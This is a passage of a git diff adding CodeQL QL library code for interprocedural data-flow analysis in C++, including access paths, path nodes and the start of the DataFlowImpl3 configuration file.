+ + abstract AccessPathFront getFront(); +} + +private class AccessPathNil extends AccessPath, TNil { + override string toString() { exists(Type t | this = TNil(t) | result = ppReprType(t)) } + + override AccessPathFront getFront() { exists(Type t | this = TNil(t) | result = TFrontNil(t)) } +} + +private class AccessPathCons extends AccessPath, TCons { + override string toString() { + exists(Content f, int len | this = TCons(f, len) | + result = f.toString() + ", ... (" + len.toString() + ")" + ) + } + + override AccessPathFront getFront() { + exists(Content f | this = TCons(f, _) | result = TFrontHead(f)) + } +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap`. */ +private predicate pop(AccessPath ap0, Content f, AccessPath ap) { + ap0.getFront().headUsesContent(f) and + consCand(f, ap.getFront(), _) and + ap0.len() = 1 + ap.len() +} + +/** Holds if `ap0` corresponds to the cons of `f` and `ap` and `apf` is the front of `ap`. */ +pragma[noinline] +private predicate popWithFront(AccessPath ap0, Content f, AccessPathFront apf, AccessPath ap) { + pop(ap0, f, ap) and apf = ap.getFront() +} + +/** Holds if `ap` corresponds to the cons of `f` and `ap0`. */ +private predicate push(AccessPath ap0, Content f, AccessPath ap) { pop(ap, f, ap0) } + +/** + * Holds if data can flow from a source to `node` with the given `ap`. + */ +private predicate flowFwd( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowFwd0(node, fromArg, apf, ap, config) and + flowCand(node, _, apf, config) +} + +private predicate flowFwd0( + Node node, boolean fromArg, AccessPathFront apf, AccessPath ap, Configuration config +) { + flowCand(node, _, _, config) and + config.isSource(node) and + fromArg = false and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + or + flowCand(node, _, _, unbind(config)) and + ( + exists(Node mid | + flowFwd(mid, fromArg, apf, ap, config) and + localFlowBigStep(mid, node, true, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, fromArg, _, ap0, config) and + localFlowBigStep(mid, node, false, config) and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid | + flowFwd(mid, _, apf, ap, config) and + jumpStep(mid, node, true, config) and + fromArg = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(mid, _, _, ap0, config) and + jumpStep(mid, node, false, config) and + fromArg = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, _, apf, ap, config) and + flowIntoCallable(mid, node, allowsFieldFlow, config) and + fromArg = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowFwd(mid, false, apf, ap, config) and + flowOutOfCallable(mid, node, allowsFieldFlow, config) and + fromArg = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPathFront apf0, AccessPath ap0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowThroughMethod(mid, node, preservesValue, config) and + ( + preservesValue = true and ap = ap0 and apf = apf0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) and + apf = ap.(AccessPathNil).getFront() + ) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdStore(node, f, ap0, apf, fromArg, config) and + push(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowFwdRead(node, f, ap0, fromArg, config) and + popWithFront(ap0, f, apf, ap) + ) +} + +pragma[nomagic] +private predicate flowFwdStore( + Node node, Content f, AccessPath ap0, AccessPathFront apf, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + flowFwdStoreAux(mid, f, node, apf0, apf, config) + ) +} + +private predicate flowFwdStoreAux( + Node mid, Content f, Node node, AccessPathFront apf0, AccessPathFront apf, Configuration config +) { + store(mid, f, node) and + consCand(f, apf0, config) and + apf.headUsesContent(f) and + flowCand(node, _, apf, unbind(config)) +} + +pragma[nomagic] +private predicate flowFwdRead( + Node node, Content f, AccessPath ap0, boolean fromArg, Configuration config +) { + exists(Node mid, AccessPathFront apf0 | + flowFwd(mid, fromArg, apf0, ap0, config) and + read(mid, f, node) and + apf0.headUsesContent(f) and + flowCand(node, _, _, unbind(config)) + ) +} + +/** + * Holds if data can flow from a source to `node` with the given `ap` and + * from there flow to a sink. + */ +private predicate flow(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flow0(node, toReturn, ap, config) and + flowFwd(node, _, _, ap, config) +} + +private predicate flow0(Node node, boolean toReturn, AccessPath ap, Configuration config) { + flowFwd(node, _, _, ap, config) and + config.isSink(node) and + toReturn = false and + ap instanceof AccessPathNil + or + ( + exists(Node mid | + localFlowBigStep(node, mid, true, config) and + flow(mid, toReturn, ap, config) + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + localFlowBigStep(node, mid, false, config) and + flow(mid, toReturn, ap0, config) and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid | + jumpStep(node, mid, true, config) and + flow(mid, _, ap, config) and + toReturn = false + ) + or + exists(Node mid, AccessPath ap0 | + flowFwd(node, _, _, ap, config) and + jumpStep(node, mid, false, config) and + flow(mid, _, ap0, config) and + toReturn = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowIntoCallable(node, mid, allowsFieldFlow, config) and + flow(mid, false, ap, config) and + toReturn = false and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean allowsFieldFlow | + flowOutOfCallable(node, mid, allowsFieldFlow, config) and + flow(mid, _, ap, config) and + toReturn = true and + (ap instanceof AccessPathNil or allowsFieldFlow = true) + ) + or + exists(Node mid, boolean preservesValue, AccessPath ap0 | + flowThroughMethod(node, mid, preservesValue, config) and + flow(mid, toReturn, ap0, config) and + ( + preservesValue = true and ap = ap0 + or + preservesValue = false and + ap0 instanceof AccessPathNil and + ap instanceof AccessPathNil and + flowFwd(node, _, _, ap, config) + ) + ) + or + exists(Content f, AccessPath ap0 | + flowStore(node, f, toReturn, ap0, config) and + pop(ap0, f, ap) + ) + or + exists(Content f, AccessPath ap0 | + flowRead(node, f, toReturn, ap0, config) and + push(ap0, f, ap) + ) + ) +} + +pragma[nomagic] +private predicate flowStore( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + store(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +pragma[nomagic] +private predicate flowRead( + Node node, Content f, boolean toReturn, AccessPath ap0, Configuration config +) { + exists(Node mid | + read(node, f, mid) and + flow(mid, toReturn, ap0, config) + ) +} + +bindingset[conf, result] +private Configuration unbind(Configuration conf) { result >= conf and result <= conf } + +private predicate flow(Node n, Configuration config) { flow(n, _, _, config) } + +private newtype TPathNode = + TPathNodeMid(Node node, CallContext cc, AccessPath ap, Configuration config) { + // A PathNode is introduced by a source ... + flow(node, config) and + config.isSource(node) and + cc instanceof CallContextAny and + ap = TNil(getErasedRepr(node.getType())) + or + // ... or a step from an existing PathNode to another node. + exists(PathNodeMid mid | + flowStep(mid, node, cc, ap) and + config = mid.getConfiguration() and + flow(node, _, ap, unbind(config)) + ) + } or + TPathNodeSink(Node node, Configuration config) { + // The AccessPath on a sink is empty. + config.isSink(node) and + flow(node, config) + } + +/** + * A `Node` augmented with a call context (except for sinks), an access path, and a configuration. + * Only those `PathNode`s that are reachable from a source are generated. + */ +abstract class PathNode extends TPathNode { + /** Gets a textual representation of this element. */ + string toString() { result = getNode().toString() + ppAp() } + + /** Gets the source location for this element. */ + Location getLocation() { result = getNode().getLocation() } + + /** Gets the underlying `Node`. */ + abstract Node getNode(); + + /** Gets the associated configuration. */ + abstract Configuration getConfiguration(); + + /** Gets a successor. */ + abstract PathNode getSucc(); + + private string ppAp() { + this instanceof PathNodeSink and result = "" + or + result = " [" + this.(PathNodeMid).getAp().toString() + "]" + } +} + +/** Holds if `n` can reach a sink. */ +private predicate reach(PathNode n) { n instanceof PathNodeSink or reach(n.getSucc()) } + +/** Holds if `n1.getSucc() = n2` and `n2` can reach a sink. */ +private predicate pathSucc(PathNode n1, PathNode n2) { n1.getSucc() = n2 and reach(n2) } + +private predicate pathSuccPlus(PathNode n1, PathNode n2) = fastTC(pathSucc/2)(n1, n2) + +/** + * Provides the query predicates needed to include a graph in a path-problem query. + */ +module PathGraph { + /** Holds if `(a,b)` is an edge in the graph of data flow path explanations. */ + query predicate edges(PathNode a, PathNode b) { pathSucc(a, b) } +} + +/** + * An intermediate flow graph node. This is a triple consisting of a `Node`, + * a `CallContext`, and a `Configuration`. + */ +private class PathNodeMid extends PathNode, TPathNodeMid { + Node node; + + CallContext cc; + + AccessPath ap; + + Configuration config; + + PathNodeMid() { this = TPathNodeMid(node, cc, ap, config) } + + override Node getNode() { result = node } + + CallContext getCallContext() { result = cc } + + AccessPath getAp() { result = ap } + + override Configuration getConfiguration() { result = config } + + private PathNodeMid getSuccMid() { + flowStep(this, result.getNode(), result.getCallContext(), result.getAp()) and + result.getConfiguration() = unbind(this.getConfiguration()) + } + + override PathNode getSucc() { + // an intermediate step to another intermediate node + result = getSuccMid() + or + // a final step to a sink via one or more local steps + localFlowStepPlus(node, result.getNode(), _, config) and + ap instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(this.getConfiguration()) + or + // a final step to a sink via zero steps means we merge the last two steps to prevent trivial-looking edges + exists(PathNodeMid mid | + mid = getSuccMid() and + mid.getNode() = result.getNode() and + mid.getAp() instanceof AccessPathNil and + result instanceof PathNodeSink and + result.getConfiguration() = unbind(mid.getConfiguration()) + ) + or + // a direct step from a source to a sink if a node is both + this instanceof PathNodeSource and + result instanceof PathNodeSink and + this.getNode() = result.getNode() and + result.getConfiguration() = unbind(this.getConfiguration()) + } +} + +/** + * A flow graph node corresponding to a source. + */ +private class PathNodeSource extends PathNodeMid { + PathNodeSource() { + getConfiguration().isSource(getNode()) and + getCallContext() instanceof CallContextAny and + getAp() instanceof AccessPathNil + } +} + +/** + * A flow graph node corresponding to a sink. This is disjoint from the + * intermediate nodes in order to uniquely correspond to a given sink by + * excluding the `CallContext`. + */ +private class PathNodeSink extends PathNode, TPathNodeSink { + Node node; + + Configuration config; + + PathNodeSink() { this = TPathNodeSink(node, config) } + + override Node getNode() { result = node } + + override Configuration getConfiguration() { result = config } + + override PathNode getSucc() { none() } +} + +/** + * Holds if data may flow from `mid` to `node`. The last step in or out of + * a callable is recorded by `cc`. + */ +private predicate flowStep(PathNodeMid mid, Node node, CallContext cc, AccessPath ap) { + localFlowBigStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc = mid.getCallContext() and + ap = mid.getAp() + or + localFlowBigStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc = mid.getCallContext() and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + jumpStep(mid.getNode(), node, true, mid.getConfiguration()) and + cc instanceof CallContextAny and + ap = mid.getAp() + or + jumpStep(mid.getNode(), node, false, mid.getConfiguration()) and + cc instanceof CallContextAny and + mid.getAp() instanceof AccessPathNil and + ap = TNil(getErasedRepr(node.getType())) + or + contentReadStep(mid, node, ap) and cc = mid.getCallContext() + or + exists(Content f, AccessPath ap0 | contentStoreStep(mid, node, ap0, f, cc) and push(ap0, f, ap)) + or + flowOutOfArgument(mid, node, cc) and ap = mid.getAp() + or + flowIntoCallable(mid, node, _, cc, _) and ap = mid.getAp() + or + flowOutOfMethod(mid, node.asExpr(), cc) and ap = mid.getAp() + or + flowThroughMethod(mid, node.asExpr(), cc) and ap = TNil(getErasedRepr(node.getType())) + or + valueFlowThroughMethod(mid, node.asExpr(), cc) and ap = mid.getAp() +} + +private predicate contentReadStep(PathNodeMid mid, Node node, AccessPath ap) { + exists(Content f, AccessPath ap0 | + ap0 = mid.getAp() and + read(mid.getNode(), f, node) and + pop(ap0, f, ap) + ) +} + +pragma[noinline] +private predicate contentStoreStep( + PathNodeMid mid, Node node, AccessPath ap0, Content f, CallContext cc +) { + ap0 = mid.getAp() and + store(mid.getNode(), f, node) and + cc = mid.getCallContext() +} + +/** + * Holds if data may flow from `mid` to an exit of `m` in the context + * `innercc`, and the path did not flow through a parameter of `m`. + */ +private predicate flowOutOfMethod0(PathNodeMid mid, Method m, CallContext innercc) { + exists(ReturnNode ret | + ret = mid.getNode() and + innercc = mid.getCallContext() and + m = returnNodeGetEnclosingCallable(ret) and + not innercc instanceof CallContextCall + ) +} + +/** + * Holds if data may flow from `mid` to `ma`. The last step of this path + * is a return from a method and is recorded by `cc`, if needed. + */ +pragma[noinline] +private predicate flowOutOfMethod(PathNodeMid mid, MethodAccess ma, CallContext cc) { + exists(Method m, CallContext innercc | + flowOutOfMethod0(mid, m, innercc) and + resolveReturn(innercc, m, ma) + | + if reducedViableImplInReturn(m, ma) then cc = TReturn(m, ma) else cc = TAnyCallContext() + ) +} + +private predicate flowOutOfArgument(PathNodeMid mid, PostUpdateNode node, CallContext cc) { + exists( + PostUpdateNode n, ParameterNode p, Callable callable, CallContext innercc, int i, Call call, + ArgumentNode arg + | + mid.getNode() = n and + parameterValueFlowsToUpdate(p, n) and + innercc = mid.getCallContext() and + p.isParameterOf(callable, i) and + resolveReturn(innercc, callable, call) and + node.getPreUpdateNode() = arg and + arg.argumentOf(call, i) and + flow(node, unbind(mid.getConfiguration())) + | + if reducedViableImplInReturn(callable, call) + then cc = TReturn(callable, call) + else cc = TAnyCallContext() + ) +} + +/** + * Holds if data may flow from `mid` to the `i`th argument of `call` in `cc`. + */ +pragma[noinline] +private predicate flowIntoArg(PathNodeMid mid, int i, CallContext cc, Call call, boolean emptyAp) { + exists(ArgumentNode arg, AccessPath ap | + arg = mid.getNode() and + cc = mid.getCallContext() and + arg.argumentOf(call, i) and + ap = mid.getAp() + | + ap instanceof AccessPathNil and emptyAp = true + or + ap instanceof AccessPathCons and emptyAp = false + ) +} + +pragma[noinline] +private predicate parameterCand(Callable callable, int i, Configuration config) { + exists(ParameterNode p | + flow(p, config) and + p.isParameterOf(callable, i) + ) +} + +pragma[nomagic] +private predicate flowIntoCallable0( + PathNodeMid mid, Callable callable, int i, CallContext outercc, Call call, boolean emptyAp +) { + flowIntoArg(mid, i, outercc, call, emptyAp) and + callable = resolveCall(call, outercc) and + parameterCand(callable, any(int j | j <= i and j >= i), mid.getConfiguration()) +} + +/** + * Holds if data may flow from `mid` to `p` through `call`. The contexts + * before and after entering the callable are `outercc` and `innercc`, + * respectively. + */ +private predicate flowIntoCallable( + PathNodeMid mid, ParameterNode p, CallContext outercc, CallContextCall innercc, Call call +) { + exists(int i, Callable callable, boolean emptyAp | + flowIntoCallable0(mid, callable, i, outercc, call, emptyAp) and + p.isParameterOf(callable, i) + | + if reducedViableImplInCallContext(_, callable, call) + then innercc = TSpecificCall(call, i, emptyAp) + else innercc = TSomeCall(p, emptyAp) + ) +} + +/** Holds if data may flow from `p` to a return statement in the callable. */ +pragma[nomagic] +private predicate paramFlowsThrough(ParameterNode p, CallContextCall cc, Configuration config) { + exists(PathNodeMid mid, ReturnNode ret | + mid.getNode() = ret and + cc = mid.getCallContext() and + config = mid.getConfiguration() and + mid.getAp() instanceof AccessPathNil + | + cc = TSomeCall(p, true) + or + exists(int i | cc = TSpecificCall(_, i, true) | + p.isParameterOf(returnNodeGetEnclosingCallable(ret), i) + ) + ) +} + +/** + * Holds if data may flow from `mid` to an argument of `methodcall`, + * through a called method `m`, and back out through a return statement in + * `m`. The context `cc` is restored to its value prior to entering `m`. + */ +pragma[noinline] +private predicate flowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p, CallContext innercc | + flowIntoCallable(mid, p, cc, innercc, methodcall) and + paramFlowsThrough(p, innercc, unbind(mid.getConfiguration())) and + not parameterValueFlowsThrough(p) and + mid.getAp() instanceof AccessPathNil + ) +} + +private predicate valueFlowThroughMethod(PathNodeMid mid, Call methodcall, CallContext cc) { + exists(ParameterNode p | + flowIntoCallable(mid, p, cc, _, methodcall) and + parameterValueFlowsThrough(p) + ) +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +private predicate flowsTo( + PathNodeSource flowsource, PathNodeSink flowsink, Node source, Node sink, + Configuration configuration +) { + flowsource.getConfiguration() = configuration and + flowsource.getNode() = source and + pathSuccPlus(flowsource, flowsink) and + flowsink.getNode() = sink +} + +/** + * Holds if data can flow (inter-procedurally) from `source` to `sink`. + * + * Will only have results if `configuration` has non-empty sources and + * sinks. + */ +predicate flowsTo(Node source, Node sink, Configuration configuration) { + flowsTo(_, _, source, sink, configuration) +} diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll new file mode 100644 index 00000000000..9d28e37cc8a --- /dev/null +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowImpl3.qll @@ -0,0 +1,1614 @@ +/** + * Provides an implementation of global (interprocedural) data flow. This file + * re-exports the local (intraprocedural) data flow analysis from `DataFlowUtil` + * and adds a global analysis, mainly exposed through the `Configuration` class. + * This file exists in several identical copies, allowing queries to use + * multiple `Configuration` classes that depend on each other without + * introducing mutual recursion among those configurations. + */ + +import DataFlowUtil +private import DataFlowPrivate +private import DataFlowDispatch +private import DataFlowImplCommon + +/** + * A configuration of interprocedural data flow analysis. This defines + * sources, sinks, and any other configurable aspect of the analysis. Each + * use of the global data flow library must define its own unique extension + * of this abstract class. To create a configuration, extend this class with + * a subclass whose characteristic predicate is a unique singleton string. + * For example, write + * + * ``` + * class MyAnalysisConfiguration extends DataFlow::Configuration { + * MyAnalysisConfiguration() { this = "MyAnalysisConfiguration" } + * // Override `isSource` and `isSink`. + * // Optionally override `isBarrier`. + * // Optionally override `isAdditionalFlowStep`. + * } + * ``` + * + * Then, to query whether there is flow between some `source` and `sink`, + * write + * + * ``` + * exists(MyAnalysisConfiguration cfg | cfg.hasFlow(source, sink)) + * ``` + * + * Multiple configurations can coexist, but two classes extending + * `DataFlow::Configuration` should never depend on each other. One of them + * should instead depend on a `DataFlow2::Configuration`, a + * `DataFlow3::Configuration`, or a `DataFlow4::Configuration`. + */ +abstract class Configuration extends string { + bindingset[this] + Configuration() { any() } + + /** + * Holds if `source` is a relevant data flow source. + */ + abstract predicate isSource(Node source); + + /** + * Holds if `sink` is a relevant data flow sink. + */ + abstract predicate isSink(Node sink); + + /** Holds if data flow through `node` is prohibited. */ + predicate isBarrier(Node node) { none() } + + /** Holds if data flow from `node1` to `node2` is prohibited. */ + predicate isBarrierEdge(Node node1, Node node2) { none() } + + /** + * Holds if the additional flow step from `node1` to `node2` must be taken + * into account in the analysis. + */ + predicate isAdditionalFlowStep(Node node1, Node node2) { none() } + + /** + * Gets the virtual dispatch branching limit when calculating field flow. + * This can be overridden to a smaller value to improve performance (a + * value of 0 disables field flow), or a larger value to get more results. + */ + int fieldFlowBranchLimit() { result = 2 } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + */ + predicate hasFlow(Node source, Node sink) { flowsTo(source, sink, this) } + + /** + * Holds if data may flow from `source` to `sink` for this configuration. + * + * The corresponding paths are generated from the end-points and the graph + * included in the module `PathGraph`. + */ + predicate hasFlowPath(PathNode source, PathNode sink) { flowsTo(source, sink, _, _, this) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowTo(Node sink) { hasFlow(_, sink) } + + /** + * Holds if data may flow from some source to `sink` for this configuration. + */ + predicate hasFlowToExpr(Expr sink) { hasFlowTo(exprNode(sink)) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowForward(Node source, Node sink) { hasFlow(source, sink) } + + /** DEPRECATED: use `hasFlow` instead. */ + deprecated predicate hasFlowBackward(Node source, Node sink) { hasFlow(source, sink) } +} + +/** + * Holds if the additional step from `node1` to `node2` jumps between callables. + */ +private predicate additionalJumpStep(Node node1, Node node2, Configuration config) { + config.isAdditionalFlowStep(node1, node2) and + node1.getEnclosingCallable() != node2.getEnclosingCallable() +} + +pragma[noinline] +private predicate isAdditionalFlowStep( + Node node1, Node node2, Callable callable1, Callable callable2, Configuration config +) { + config.isAdditionalFlowStep(node1, node2) and + callable1 = node1.getEnclosingCallable() and + callable2 = node2.getEnclosingCallable() +} + +/** + * Holds if the additional step from `node1` to `node2` does not jump between callables. + */ +private predicate additionalLocalFlowStep(Node node1, Node node2, Configuration config) { + exists(Callable callable | isAdditionalFlowStep(node1, node2, callable, callable, config)) +} + +/** + * Holds if data can flow from `node1` to `node2` through a static field or + * variable capture. + */ +private predicate jumpStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + jumpStep(node1, node2) and preservesValue = true + or + additionalJumpStep(node1, node2, config) and preservesValue = false +} + +/** + * Holds if data can flow in one local step from `node1` to `node2` taking + * additional steps from the configuration into account. + */ +private predicate localFlowStep(Node node1, Node node2, boolean preservesValue, Configuration config) { + localFlowStep(node1, node2) and not config.isBarrierEdge(node1, node2) and preservesValue = true + or + additionalLocalFlowStep(node1, node2, config) and preservesValue = false +} + +pragma[noinline] +private Method returnNodeGetEnclosingCallable(ReturnNode ret) { + result = ret.getEnclosingCallable() +} + +/** + * Holds if field flow should be used for the given configuration. + */ +private predicate useFieldFlow(Configuration config) { config.fieldFlowBranchLimit() >= 1 } + +/** + * Holds if `node` is reachable from a source in the given configuration + * ignoring call contexts. + */ +private predicate nodeCandFwd1(Node node, boolean stored, Configuration config) { + not config.isBarrier(node) and + ( + config.isSource(node) and stored = false + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + localFlowStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + nodeCandFwd1(mid, stored, config) and + jumpStep(mid, node, preservesValue, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid | + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, _, node) and + stored = true + ) + or + // read + exists(Node mid, Content f | + nodeCandFwd1(mid, true, config) and + read(mid, f, node) and + storeCandFwd1(f, unbind(config)) and + (stored = false or stored = true) + ) + or + // flow into a callable + exists(Node arg | + nodeCandFwd1(arg, stored, config) and + viableParamArg(node, arg) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + nodeCandFwd1(mid, stored, config) and + parameterValueFlowsToUpdate(p, mid) and + viableParamArg(p, node.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a callable + exists(Method m, MethodAccess ma, ReturnNode ret | + nodeCandFwd1(ret, stored, config) and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node.asExpr() = ma + ) + ) +} + +/** + * Holds if `f` is the target of a store in the flow covered by `nodeCandFwd1`. + */ +private predicate storeCandFwd1(Content f, Configuration config) { + exists(Node mid, Node node | + not config.isBarrier(node) and + useFieldFlow(config) and + nodeCandFwd1(mid, _, config) and + store(mid, f, node) + ) +} + +bindingset[result, b] +private boolean unbindBool(boolean b) { result != b.booleanNot() } + +/** + * Holds if `node` is part of a path from a source to a sink in the given + * configuration ignoring call contexts. + */ +pragma[nomagic] +private predicate nodeCand1(Node node, boolean stored, Configuration config) { + nodeCandFwd1(node, false, config) and + config.isSink(node) and + stored = false + or + nodeCandFwd1(node, unbindBool(stored), unbind(config)) and + ( + exists(Node mid, boolean preservesValue | + localFlowStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + exists(Node mid, boolean preservesValue | + jumpStep(node, mid, preservesValue, config) and + nodeCand1(mid, stored, config) and + (stored = false or preservesValue = true) + ) + or + // store + exists(Node mid, Content f | + store(node, f, mid) and + readCand1(f, unbind(config)) and + nodeCand1(mid, true, config) and + (stored = false or stored = true) + ) + or + // read + exists(Node mid, Content f | + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) and + stored = true + ) + or + // flow into a callable + exists(Node param | + viableParamArg(param, node) and + nodeCand1(param, stored, config) + ) + or + // flow out of an argument + exists(PostUpdateNode mid, ParameterNode p | + parameterValueFlowsToUpdate(p, node) and + viableParamArg(p, mid.getPreUpdateNode()) and + nodeCand1(mid, stored, config) + ) + or + // flow out of a callable + exists(Method m, ExprNode ma | + nodeCand1(ma, stored, config) and + m = returnNodeGetEnclosingCallable(node) and + m = viableImpl(ma.getExpr()) + ) + ) +} + +/** + * Holds if `f` is the target of a read in the flow covered by `nodeCand1`. + */ +private predicate readCand1(Content f, Configuration config) { + exists(Node mid, Node node | + useFieldFlow(config) and + nodeCandFwd1(node, true, unbind(config)) and + read(node, f, mid) and + storeCandFwd1(f, unbind(config)) and + nodeCand1(mid, _, config) + ) +} + +/** + * Holds if there is a path from `p` to `node` in the same callable that is + * part of a path from a source to a sink taking simple call contexts into + * consideration. This is restricted to paths that does not necessarily + * preserve the value of `p` by making use of at least one additional step + * from the configuration. + */ +pragma[nomagic] +private predicate simpleParameterFlow(ParameterNode p, Node node, RefType t, Configuration config) { + nodeCand1(node, false, config) and + p = node and + t = getErasedRepr(node.getType()) and + not parameterValueFlowsThrough(p) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localFlowStep(mid, node, true, config) and + compatibleTypes(t, node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, _, config) and + localFlowStep(mid, node, false, config) and + t = getErasedRepr(node.getType()) + ) + or + nodeCand1(node, false, unbind(config)) and + exists(Node mid | + simpleParameterFlow(p, mid, t, config) and + localStoreReadStep(mid, node) and + compatibleTypes(t, node.getType()) + ) + or + // value flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, t, config) and + argumentValueFlowsThrough(arg, node) and + compatibleTypes(t, node.getType()) + ) + or + // flow through a callable + nodeCand1(node, false, config) and + exists(Node arg | + simpleParameterFlow(p, arg, _, config) and + simpleArgumentFlowsThrough(arg, node, t, config) + ) +} + +/** + * Holds if data can flow from `arg` through the `call` taking simple call + * contexts into consideration and that this is part of a path from a source + * to a sink. This is restricted to paths through the `call` that does not + * necessarily preserve the value of `arg` by making use of at least one + * additional step from the configuration. + */ +private predicate simpleArgumentFlowsThrough( + ArgumentNode arg, ExprNode call, RefType t, Configuration config +) { + exists(ParameterNode param, ReturnNode ret | + nodeCand1(arg, false, unbind(config)) and + nodeCand1(call, false, unbind(config)) and + viableParamArg(param, arg) and + simpleParameterFlow(param, ret, t, config) and + arg.argumentOf(call.getExpr(), _) + ) +} + +/** + * Holds if data can flow from `node1` to `node2` by a step through a method. + */ +private predicate flowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + simpleArgumentFlowsThrough(node1, node2, _, config) and preservesValue = false + or + argumentValueFlowsThrough(node1, node2) and preservesValue = true +} + +/** + * Holds if data can flow from `node1` to `node2` in one local step or a step + * through a method. + */ +private predicate localFlowStepOrFlowThroughMethod( + Node node1, Node node2, boolean preservesValue, Configuration config +) { + localFlowStep(node1, node2, preservesValue, config) or + flowThroughMethod(node1, node2, preservesValue, config) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. + */ +private predicate flowOutOfCallable(Node node1, Node node2, Configuration config) { + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) and + ( + // flow out of an argument + exists(ParameterNode p | + parameterValueFlowsToUpdate(p, node1) and + viableParamArg(p, node2.(PostUpdateNode).getPreUpdateNode()) + ) + or + // flow out of a method + exists(Method m, MethodAccess ma, ReturnNode ret | + ret = node1 and + m = returnNodeGetEnclosingCallable(ret) and + m = viableImpl(ma) and + node2.asExpr() = ma + ) + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. + */ +private predicate flowIntoCallable(Node node1, Node node2, Configuration config) { + viableParamArg(node2, node1) and + nodeCand1(node1, _, unbind(config)) and + nodeCand1(node2, _, config) +} + +/** + * Gets the amount of forward branching on the origin of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int branch(Node n1, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n1, n, conf) or flowIntoCallable(n1, n, conf)) +} + +/** + * Gets the amount of backward branching on the target of a cross-call path + * edge in the graph of paths between sources and sinks that ignores call + * contexts. + */ +private int join(Node n2, Configuration conf) { + result = strictcount(Node n | flowOutOfCallable(n, n2, conf) or flowIntoCallable(n, n2, conf)) +} + +/** + * Holds if data can flow out of a callable from `node1` to `node2`, either + * through a `ReturnNode` or through an argument that has been mutated, and + * that this step is part of a path from a source to a sink. The + * `allowsFieldFlow` flag indicates whether the branching is within the limit + * specified by the configuration. + */ +private predicate flowOutOfCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowOutOfCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if b.minimum(j) <= config.fieldFlowBranchLimit() + then allowsFieldFlow = true + else allowsFieldFlow = false + ) +} + +/** + * Holds if data can flow into a callable and that this step is part of a + * path from a source to a sink. The `allowsFieldFlow` flag indicates whether + * the branching is within the limit specified by the configuration. + */ +private predicate flowIntoCallable( + Node node1, Node node2, boolean allowsFieldFlow, Configuration config +) { + flowIntoCallable(node1, node2, config) and + exists(int b, int j | + b = branch(node1, config) and + j = join(node2, config) and + if 